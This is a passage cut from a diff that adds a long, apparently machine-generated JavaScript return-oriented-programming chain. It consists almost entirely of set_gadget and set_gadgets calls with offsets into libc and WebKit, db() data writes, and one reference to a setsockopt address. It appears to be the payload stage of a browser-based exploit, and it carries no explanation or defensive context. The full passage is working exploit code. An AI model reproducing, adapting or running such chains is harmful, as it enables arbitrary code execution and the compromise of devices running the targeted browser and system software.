+ropchain+354736, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+354720, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+354880, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+354848, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+354864, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+354976, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([24, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+355064, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+355080, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+355224, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+355192, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+355208, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+844101, +libc_base+713278, +ropchain+355472, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+355488, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+355600, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+355616, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+15055763, +libc_base+232261, +libc_base+713278, +ropchain+355784, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+355800, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+355768, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+355928, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+355960, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+355944, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+356072, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+356064, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+356088, +ropchain+356928, +libc_base+713278, +ropchain+356144, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967268, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+356232, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+356248, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+356408, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+356440, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+356392, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+356424, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+356520, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+356536, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+356664, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+356680, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+356648, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+356784, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+356800, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+356920, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+356904, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+356984, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967268, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+357072, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+357088, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+357248, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+357280, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+357232, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+357264, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+357376, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+357360, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+357464, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+357536, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967268, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+713278, +ropchain+357600, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+489696, +ropchain+350528, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([1, 0]); +set_gadget(libc_base+772328,); +db([1, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+844101, +libc_base+713278, +ropchain+357888, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+357904, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+357872, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+358032, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+358048, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+358016, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+358152, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+358168, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+358288, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+358272, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+358376, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+358360, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+358480, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+358496, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+358616, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+358600, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+608613, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+17972187, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+765305, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +webkit_base+4687784, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+489696, +libc_base+430587, +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967080, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([200, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967088, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([192, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967096, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([184, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967104, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([176, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967112, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([168, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+772328 +]); +db([4294967280, 4294967295]); +set_gadgets([ +webkit_base+5236215, +libc_base+772328, +setsockopt_addr, +webkit_base+2989859, +libc_base+713278 +]); +db([4294967192, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([48, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+430587, +libc_base+713278 +]); +db([32, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([24, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([128, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+359944, +webkit_base+4687784, +libc_base+489696 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+360016, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+360080, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([24, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+360168, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([32, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+360256, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+360272, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+360416, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+360384, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+360400, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+360512, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+360600, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+360616, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+360760, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+360728, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+360744, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+360864, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+339256, +libc_base+863109, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+713278, +ropchain+360952, +webkit_base+4687784, +libc_base+713278 +]); +db([4294967276, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+361056, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([24, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+361144, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+361160, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+361320, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+361352, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+361304, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+361336, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+361448, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+361432, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+361552, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+196160, +libc_base+863109, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+713278, +ropchain+361640, +webkit_base+4687784, +libc_base+713278 +]); +db([4294967276, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+361752, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+361784, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+361768, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+361912, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+361928, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+361896, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+362032, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+362048, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+362168, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+362152, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+362256, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+362240, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+362360, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+362376, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+362496, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+362480, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+362568, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+362632, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([24, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+362720, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([32, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+362808, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+362824, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+362968, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+362936, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+362952, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+363064, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+363152, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+363168, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+363312, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+363280, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+363296, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+363416, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+339256, +libc_base+863109, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+713278, +ropchain+363504, +webkit_base+4687784, +libc_base+713278 +]); +db([4294967276, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+363608, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([24, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+363696, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+363712, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+363872, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+363904, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+363856, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+363888, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+364000, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+363984, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+364104, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+196160, +libc_base+863109, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+364192, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([40, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+364280, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+364296, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+364440, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+364408, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+364424, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+740138, +libc_base+713278, +ropchain+364536, +webkit_base+4687784, +libc_base+713278 +]); +db([4294967276, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+364592, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+364648, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+364752, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([32, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+364840, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+364856, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+365000, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+364968, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+364984, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+365096, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+365184, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+365200, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+365344, +webkit_base+4687784, 